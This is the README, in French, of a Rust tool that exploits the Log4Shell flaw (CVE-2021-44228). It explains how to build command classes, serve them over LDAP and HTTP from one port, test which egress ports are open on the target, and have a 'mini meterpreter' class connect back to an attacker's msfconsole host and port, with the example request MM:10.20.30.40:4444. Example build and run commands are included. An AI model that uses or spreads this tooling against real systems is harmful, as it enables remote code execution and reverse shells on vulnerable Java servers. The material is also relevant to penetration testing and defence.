
Implémentation en Rust de Log 4 Shell (log 4 j - CVE-2021-44228)
Implémentation Rust de Log 4 Shell (log 4 j - CVE-2021-44228)
pour compiler exécutez cargo +nightly build
Cette version vous permet de construire des classes de commandes, de servir dynamiquement un mini meterpreter qui s'exécute dans un thread de l'application Java exploitée, et exécute les serveurs LDAP et HTTP. Cette version sert à la fois les requêtes LDAP et HTTP depuis le même port.
Vous pouvez exécuter sur plusieurs ports simultanément pour tenter de voir quels ports peuvent être disponibles pour la sortie (egress) sur la machine cible.
Si la requête n'est pas LDAP ou HTTP, elle peut alors proxy la requête vers une autre machine, toujours sur le même port. Si la machine cible n'a qu'un seul port de sortie, vous pouvez servir LDAP, HTTP et utiliser le même port pour proxy la connexion meterpreter vers un autre port local ou une autre machine.
Cette version ne nécessite plus que javac soit installé. Elle permet toujours la 'construction dynamique de classes' mais le fait en modifiant des classes précompilées intégrées dans l'exécutable.
Cette version ajoute les 100 premiers et les 1000 premiers ports tels que définis par nmap. Utilisez les options --pC100 ou --pC1000.
Le cas d'usage typique est de construire une ou plusieurs classes de commandes puis d'exécuter le serveur.
l4srs build -c Cmd1 -l firefox -w Calc.exe
l4srs build -c TouchMe -l "touch /tmp/me"
vous pouvez ensuite requêter Cmd1 et cela lancera firefox sur linux et Calc sur Windows. Si vous requêtez TouchMe, il touchera /tmp/me sur linux et sur windows il n'exécutera rien.
vous pouvez ensuite exécuter l4srs run --pC100 pour démarrer le serveur sur les 100 premiers ports et servir Cmd1 ou TouchMe.
De plus, si vous requêtez MM:Hôte:Port, il créera dynamiquement une classe mini meterpreter qui se connectera à l'hôte et au port de la requête. Si votre msfconsole tourne sur 10.20.30.40 sur le port 4444, vous demanderez MM:10.20.30.40:4444. Ce n'est pas construit avec la commande build, il est construit dynamiquement sur la requête.
Cette version permet la construction et le service de classes depuis un cache en mémoire. Toutes les classes MiniMeterpreter dynamiques ne touchent plus au système de fichiers. De plus, 2 nouveaux drapeaux sont ajoutés. Le premier est --no_fs qui impose de ne jamais servir de fichiers depuis le système de fichiers. L'autre --allow_cmd permet la construction dynamique de classes en accédant à /build_cmd depuis n'importe quel port ouvert avec une requête POST et un corps JSON contenant les champs : class_name, l_cmd, w_cmd